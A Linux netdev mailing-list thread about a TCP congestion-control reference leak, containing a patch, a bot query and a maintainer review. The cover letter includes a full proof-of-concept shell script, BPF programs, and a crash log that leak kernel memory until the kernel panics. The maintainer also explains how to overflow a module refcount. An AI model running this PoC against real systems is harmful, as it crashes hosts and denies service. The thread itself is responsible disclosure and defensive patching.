Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] tcp: release congestion control reference on rejection
@ 2026-10-21 18:57 Zhiling Zou
  2026-10-21 18:57 ` [PATCH net 1/1] " Zhiling Zou
  2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
  0 siblings, 2 replies; 5+ messages in thread
From: Zhiling Zou @ 2026-10-21 18:57 UTC (permalink / raw)
  To: netdev, bpf
  Cc: edumazet, ncardwell, kuniyu, davem, pabeni, horms,
	jonathon.reinhart, vega, zhilinz

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/tcp_cong.c. After a
restricted BPF struct_ops TCP congestion-control algorithm has been
loaded, a non-root user can trigger the reference leak through user and
network namespaces. Loading the algorithm requires a privileged setup
in the initial network namespace.

This bug is tracked at: https://bugtracker.nebusec.ai/f/11756

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

tcp_set_default_congestion_control() calls bpf_try_module_get() before
checking whether a non-init network namespace may select a restricted
congestion-control algorithm. When the check fails, the function returns
-EPERM without dropping the acquired reference.

For BPF struct_ops algorithms, this keeps the struct_ops map and its
programs alive. For module-backed algorithms, it leaks the module
reference. Repeated rejected writes can therefore pin kernel resources.
The fix releases the acquired reference on the existing -EPERM path.

Reproducer:

    ./poc.sh oom

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The script uses the supplied leak_ca_oom.bpf.o object.

------BEGIN poc.sh------

    #!/bin/sh
    set -eu

    POC_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
    SMALL_OBJ="$POC_DIR/leak_ca.bpf.o"
    OOM_OBJ="$POC_DIR/leak_ca_oom.bpf.o"
    BPFFS_ROOT=/sys/fs/bpf/tcp_cc_leak_poc
    TEST_USER=${TEST_USER:-test_user}
    LEAK_ITERATIONS=${LEAK_ITERATIONS:-6}
    OOM_CHUNKS=${OOM_CHUNKS:-16}

    need_root() {
    	if [ "$(id -u)" -ne 0 ]; then
    		echo "run as root" >&2
    		exit 1
    	fi
    }

    need_file() {
    	if [ ! -f "$1" ]; then
    		echo "missing required file: $1" >&2
    		exit 1
    	fi
    }

    run_userns_trigger() {
    	if id "$TEST_USER" >/dev/null 2>&1; then
    		su -s /bin/sh "$TEST_USER" -c 'unshare -Urn python3 - <<'"'"'PY'"'"'
    import os
    path = "/proc/sys/net/ipv4/tcp_congestion_control"
    fd = os.open(path, os.O_WRONLY)
    try:
        os.write(fd, b"leakca\n")
        print("write unexpectedly succeeded")
    except OSError as e:
        print(f"write failed as expected: errno={e.errno} strerror={e.strerror}")
    finally:
        os.close(fd)
    PY' || true
    	else
    		unshare -n python3 - <<'PY' || true
    import os
    path = "/proc/sys/net/ipv4/tcp_congestion_control"
    fd = os.open(path, os.O_WRONLY)
    try:
        os.write(fd, b"leakca\n")
        print("write unexpectedly succeeded")
    except OSError as e:
        print(f"write failed as expected: errno={e.errno} strerror={e.strerror}")
    finally:
        os.close(fd)
    PY
    	fi
    }

    leak_once() {
    	obj=$1
    	dir=$2

    	rm -rf "$dir"
    	mkdir -p "$dir"
    	bpftool struct_ops register "$obj" "$dir"
    	run_userns_trigger
    	bpftool link detach pinned "$dir/leakca"
    }

    observe_mode() {
    	need_file "$SMALL_OBJ"
    	rm -rf "$BPFFS_ROOT"
    	mkdir -p "$BPFFS_ROOT"

    	leak_once "$SMALL_OBJ" "$BPFFS_ROOT/observe"

    	echo
    	echo "struct_ops entries after detach:"
    	bpftool struct_ops show | grep leakca || true

    	echo
    	echo "maps still alive after detach:"
    	bpftool map show | grep -E 'name leakca|name leak_payload' || true
    }

    oom_mode() {
    	i=1

    	need_file "$OOM_OBJ"
    	rm -rf "$BPFFS_ROOT"
    	mkdir -p "$BPFFS_ROOT"

    	echo 2 > /proc/sys/vm/panic_on_oom
    	ulimit -l unlimited || true

    	while [ "$i" -le "$LEAK_ITERATIONS" ]; do
    		echo "[*] leak iteration $i/$LEAK_ITERATIONS"
    		leak_once "$OOM_OBJ" "$BPFFS_ROOT/oom-$i"
    		free -m | sed -n '1,2p'
    		i=$((i + 1))
    	done

    	echo
    	echo "[*] allocating $((OOM_CHUNKS * 64)) MB in userspace to trip OOM after the leaked kernel memory has accumulated"
    	python3 - <<PY
    chunks = []
    chunk = 64 * 1024 * 1024
    for i in range($OOM_CHUNKS):
        chunks.append(bytearray(chunk))
        print(f"allocated {(i + 1) * 64} MB", flush=True)
    print("allocation completed unexpectedly")
    PY
    }

    usage() {
    	cat <<'EOF'
    usage: ./poc.sh [observe|oom]

    observe:
      single leak iteration using leak_ca.bpf.o, no crash expected

    oom:
      six leak iterations using leak_ca_oom.bpf.o, then a bounded 1 GB
      userspace allocation that should panic the kernel because the leaked
      BPF objects have already consumed most memory
    EOF
    }

    need_root

    case "${1:-observe}" in
    observe)
    	observe_mode
    	;;
    oom)
    	oom_mode
    	;;
    *)
    	usage >&2
    	exit 1
    	;;
    esac

------END poc.sh------

------BEGIN leak_ca.bpf.c------

    // SPDX-License-Identifier: GPL-2.0

    #include <vmlinux.h>
    #include <bpf/bpf_helpers.h>
    #include <bpf/bpf_tracing.h>
    #include "bpf_tracing_net.h"

    char _license[] SEC("license") = "GPL";

    SEC("struct_ops")
    void BPF_PROG(leakca_cong_control, struct sock *sk,
    	      const struct rate_sample *rs)
    {
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_ssthresh, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_ssthresh;
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_undo_cwnd, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_cwnd;
    }

    SEC(".struct_ops.link")
    struct tcp_congestion_ops leakca = {
    	.cong_control	= (void *)leakca_cong_control,
    	.ssthresh	= (void *)leakca_ssthresh,
    	.undo_cwnd	= (void *)leakca_undo_cwnd,
    	.name		= "leakca",
    };

------END leak_ca.bpf.c------

------BEGIN leak_ca_oom.bpf.c------

    // SPDX-License-Identifier: GPL-2.0

    #include <vmlinux.h>
    #include <bpf/bpf_helpers.h>
    #include <bpf/bpf_tracing.h>
    #include "bpf_tracing_net.h"

    struct leak_blob {
    	char bytes[4096];
    };

    struct {
    	__uint(type, BPF_MAP_TYPE_ARRAY);
    	__uint(max_entries, 65536);
    	__type(key, __u32);
    	__type(value, struct leak_blob);
    } leak_payload SEC(".maps");

    char _license[] SEC("license") = "GPL";

    SEC("struct_ops")
    void BPF_PROG(leakca_oom_cong_control, struct sock *sk,
    	      const struct rate_sample *rs)
    {
    	__u32 key = 0;
    	struct leak_blob *blob;

    	blob = bpf_map_lookup_elem(&leak_payload, &key);
    	if (blob)
    		blob->bytes[0] = 1;
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_oom_ssthresh, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_ssthresh;
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_oom_undo_cwnd, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_cwnd;
    }

    SEC(".struct_ops.link")
    struct tcp_congestion_ops leakca = {
    	.cong_control	= (void *)leakca_oom_cong_control,
    	.ssthresh	= (void *)leakca_oom_ssthresh,
    	.undo_cwnd	= (void *)leakca_oom_undo_cwnd,
    	.name		= "leakca",
    };

------END leak_ca_oom.bpf.c------

----BEGIN crash log----

[  312.334207][T10658] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[  312.334939][T10658] CPU: 3 UID: 0 PID: 10658 Comm: python3 Not tainted 6.12.95 #2
[  312.335458][T10658] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  312.336280][T10658] Call Trace:
[  312.336511][T10658]  <TASK>
[  312.336731][T10658]  panic+0x533/0x610
[  312.337014][T10658]  ? dump_header+0x5d2/0x800
[  312.337342][T10658]  ? __pfx_panic+0x10/0x10
[  312.337698][T10658]  out_of_memory+0x73c/0x1430
[  312.338032][T10658]  ? __alloc_pages_noprof+0xd53/0x26d0
[  312.338420][T10658]  ? __pfx_out_of_memory+0x10/0x10
[  312.338780][T10658]  ? lock_acquire+0x2f/0xb0
[  312.339092][T10658]  ? __alloc_pages_noprof+0xd53/0x26d0
[  312.339480][T10658]  __alloc_pages_noprof+0x1ecc/0x26d0
[  312.339889][T10658]  ? __pfx___alloc_pages_noprof+0x10/0x10
[  312.340283][T10658]  ? hlock_class+0x4e/0x130
[  312.340599][T10658]  ? mark_lock+0xb5/0xc60
[  312.340895][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.341313][T10658]  ? __pfx_mark_lock+0x10/0x10
[  312.341655][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.342038][T10658]  ? rcu_is_watching+0x12/0xc0
[  312.342376][T10658]  alloc_pages_mpol_noprof+0x1ab/0x4d0
[  312.342759][T10658]  ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[  312.343172][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.343572][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.343959][T10658]  folio_alloc_mpol_noprof+0x16/0x90
[  312.344321][T10658]  vma_alloc_folio_noprof+0xc4/0x170
[  312.344704][T10658]  ? __pfx_vma_alloc_folio_noprof+0x10/0x10
[  312.345107][T10658]  ? find_held_lock+0x2d/0x110
[  312.345441][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.345839][T10658]  do_pte_missing+0x825/0x3710
[  312.346189][T10658]  __handle_mm_fault+0xac8/0x1db0
[  312.346545][T10658]  ? __pfx_lock_release+0x10/0x10
[  312.346891][T10658]  ? down_read_trylock+0x1f0/0x3f0
[  312.347240][T10658]  ? lock_vma_under_rcu+0x121/0x720
[  312.347601][T10658]  ? __pfx___handle_mm_fault+0x10/0x10
[  312.348002][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.348403][T10658]  handle_mm_fault+0x2ad/0x910
[  312.348822][T10658]  do_user_addr_fault+0x301/0xe10
[  312.349186][T10658]  exc_page_fault+0x5d/0xe0
[  312.349500][T10658]  asm_exc_page_fault+0x26/0x30
[  312.349840][T10658] RIP: 0033:0x7f38e70d3340
[  312.350147][T10658] Code: 48 81 fa 00 01 00 00 76 c8 48 8d 8c 17 00 fe ff ff 62 e1 fe 48 7f 40 02 62 e1 fe 48 7f 40 03 48 39 f9 76 2e 48 83 e7 c0 66 90 <62> e1 fd 48 7f 47 04 62 e1 fd 48 7f 47 05 62 e1 fd 48 7f 47 06 62
[  312.351441][T10658] RSP: 002b:00007fff03373848 EFLAGS: 00010287
[  312.351863][T10658] RAX: 00007f38c2995010 RBX: 0000000004000000 RCX: 00007f38c6994e10
[  312.352395][T10658] RDX: 0000000004000000 RSI: 0000000000000000 RDI: 00007f38c48fdf00
[  312.352947][T10658] RBP: 00007f38e69cc268 R08: 00000000ffffffff R09: 0000000000000000
[  312.353473][T10658] R10: 0000000000000022 R11: 0000000000000246 R12: 00007f38e6a2bab0
[  312.354004][T10658] R13: 0000000000a02820 R14: 0000000000000000 R15: 00007f38e69f8ab0
[  312.354585][T10658]  </TASK>
[  312.355010][T10658] Kernel Offset: disabled
[  312.355354][T10658] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  tcp: release congestion control reference on rejection

 net/ipv4/tcp_cong.c | 1 +
 1 file changed, 1 insertion(+)


^ permalink raw reply	[flat|nested] 5+ messages in thread

* [PATCH net 1/1] tcp: release congestion control reference on rejection
  2026-10-21 18:57 [PATCH net 0/1] tcp: release congestion control reference on rejection Zhiling Zou
@ 2026-10-21 18:57 ` Zhiling Zou
  2026-10-22  3:53   ` Eric Dumazet
  2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
  1 sibling, 1 reply; 5+ messages in thread
From: Zhiling Zou @ 2026-10-21 18:57 UTC (permalink / raw)
  To: netdev, bpf
  Cc: edumazet, ncardwell, kuniyu, davem, pabeni, horms,
	jonathon.reinhart, vega, zhilinz

tcp_set_default_congestion_control() takes a reference to the selected
algorithm before checking whether a non-init netns may select a
restricted algorithm. When the check fails, the function returns -EPERM
without dropping the reference.

For BPF struct_ops algorithms this keeps the struct_ops map and its
programs alive. For module-backed algorithms it leaks the module
reference as well. A network namespace administrator can repeatedly
trigger the rejected request after the algorithm has been loaded.

Drop the reference on the rejection path.

Fixes: 8d432592f30f ("net: Only allow init netns to set default tcp cong to a restricted algo")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
 net/ipv4/tcp_cong.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/net/ipv4/tcp_cong.c b/net/ipv4/tcp_cong.c
index 8e83ef81fc187..907c63af14785 100644
--- a/net/ipv4/tcp_cong.c
+++ b/net/ipv4/tcp_cong.c
@@ -293,6 +293,7 @@ int tcp_set_default_congestion_control(struct net *net, const char *name)
 	} else if (!net_eq(net, &init_net) &&
 			!(ca->flags & TCP_CONG_NON_RESTRICTED)) {
 		/* Only init netns can set default to a restricted algorithm */
+		bpf_module_put(ca, ca->owner);
 		ret = -EPERM;
 	} else {
 		prev = xchg(&net->ipv4.tcp_congestion_control, ca);

^ permalink raw reply related	[flat|nested] 5+ messages in thread

* Re: [PATCH net 0/1] tcp: release congestion control reference on rejection
  2026-10-21 18:57 [PATCH net 0/1] tcp: release congestion control reference on rejection Zhiling Zou
  2026-10-21 18:57 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-10-21 19:02 ` netdev-bot+sinfo
  2026-10-21 19:09   ` zhilin zou
  1 sibling, 1 reply; 5+ messages in thread
From: netdev-bot+sinfo @ 2026-10-21 19:02 UTC (permalink / raw)
  To: Zhiling Zou
  Cc: netdev, bpf, edumazet, ncardwell, kuniyu, davem, pabeni, horms,
	jonathon.reinhart, vega

Hi!

This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:

 - How the issue was discovered, e.g. hit in production, hit during
   development, syzbot report, manual code inspection, LLM or static
   analysis tool scan.

Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account. If the series needs another revision for
other reasons, please include the information in the commit messages
then.

The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH net 0/1] tcp: release congestion control reference on rejection
  2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
@ 2026-10-21 19:09   ` zhilin zou
  0 siblings, 0 replies; 5+ messages in thread
From: zhilin zou @ 2026-10-21 19:09 UTC (permalink / raw)
  To: netdev-bot+sinfo
  Cc: netdev, bpf, edumazet, ncardwell, kuniyu, davem, pabeni, horms,
	jonathon.reinhart, vega

On Thu, Oct 22, 2026 at 3:02 AM <netdev-bot+sinfo@kernel.org> wrote:
>
> Hi!
>
> This is an automated message. This series looks like a fix, but its
> commit messages seem to be missing some information:
>
>  - How the issue was discovered, e.g. hit in production, hit during
>    development, syzbot report, manual code inspection, LLM or static
>    analysis tool scan.
>
> Please do not repost the series just to address the above. Instead,
> reply to this email with the missing information, so that reviewers
> can take it into account. If the series needs another revision for
> other reasons, please include the information in the commit messages
> then.
>
> The evaluation is done by an LLM so it may be wrong, if you think
> that is the case please reply and explain.

Hi,

The issue was found during manual code inspection of reference handling in
tcp_set_default_congestion_control(), assisted by an LLM. The inspection
identified that bpf_try_module_get() succeeds before the restricted-algorithm
check, while the -EPERM path does not release the acquired reference.

Thanks,
Zhiling

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH net 1/1] tcp: release congestion control reference on rejection
  2026-10-21 18:57 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-10-22  3:53   ` Eric Dumazet
  0 siblings, 0 replies; 5+ messages in thread
From: Eric Dumazet @ 2026-10-22  3:53 UTC (permalink / raw)
  To: Zhiling Zou
  Cc: netdev, bpf, ncardwell, kuniyu, davem, pabeni, horms,
	jonathon.reinhart, vega

Le mer. 21 oct. 2026 à 20:57, Zhiling Zou <zhilinz@nebusec.ai> a écrit :
>
> tcp_set_default_congestion_control() takes a reference to the selected
> algorithm before checking whether a non-init netns may select a
> restricted algorithm. When the check fails, the function returns -EPERM
> without dropping the reference.
>
> For BPF struct_ops algorithms this keeps the struct_ops map and its
> programs alive. For module-backed algorithms it leaks the module
> reference as well. A network namespace administrator can repeatedly
> trigger the rejected request after the algorithm has been loaded.
>
> Drop the reference on the rejection path.
>
> Fixes: 8d432592f30f ("net: Only allow init netns to set default tcp cong to a restricted algo")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: LLM
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
>  net/ipv4/tcp_cong.c | 1 +
>  1 file changed, 1 insertion(+)
>
> diff --git a/net/ipv4/tcp_cong.c b/net/ipv4/tcp_cong.c
> index 8e83ef81fc187..907c63af14785 100644
> --- a/net/ipv4/tcp_cong.c
> +++ b/net/ipv4/tcp_cong.c
> @@ -293,6 +293,7 @@ int tcp_set_default_congestion_control(struct net *net, const char *name)
>         } else if (!net_eq(net, &init_net) &&
>                         !(ca->flags & TCP_CONG_NON_RESTRICTED)) {
>                 /* Only init netns can set default to a restricted algorithm */
> +               bpf_module_put(ca, ca->owner);
>                 ret = -EPERM;
>         } else {
>                 prev = xchg(&net->ipv4.tcp_congestion_control, ca);

Thanks for the report.

Instead of taking a reference only to drop it, please move the
restricted check before bpf_try_module_get(), as
tcp_set_congestion_control() already does:

        if (!ca) {
                ret = -ENOENT;
        } else if (!net_eq(net, &init_net) &&
                   !(ca->flags & TCP_CONG_NON_RESTRICTED)) {
                /* Only init netns can set default to a restricted algorithm */
                ret = -EPERM;
        } else if (!bpf_try_module_get(ca, ca->owner)) {
                ret = -EBUSY;
        } else {

Also for v2:

- BPF is not needed to trigger this, and the module case is the
  interesting one. Any restricted module CC already loaded by root
  (e.g. tcp_bbr, not listed in tcp_allowed_congestion_control) leaks
  a module reference on each rejected write from a non-init netns.

  module->refcnt is a plain atomic_t: after 2^31 rejected writes it
  becomes negative, and every following module_put() hits the
  WARN_ON() in module_put(). An rmmod would then hit the BUG_ON()
  in try_release_module_ref().

  BPF struct_ops use an atomic64_t refcount, so they cannot overflow

  Please describe this in the changelog instead of the
  struct_ops/OOM scenario.

- No need for a cover letter for a single trivial patch.
  Your cover letter is adding noise, any LLM is able to rebuild a POC just fine.

Please wait 24 hours before sending v2.

Thanks.

pw-bot: cr

^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2026-10-22  3:54 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-21 18:57 [PATCH net 0/1] tcp: release congestion control reference on rejection Zhiling Zou
2026-10-21 18:57 ` [PATCH net 1/1] " Zhiling Zou
2026-10-22  3:53   ` Eric Dumazet
2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
2026-10-21 19:09   ` zhilin zou

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox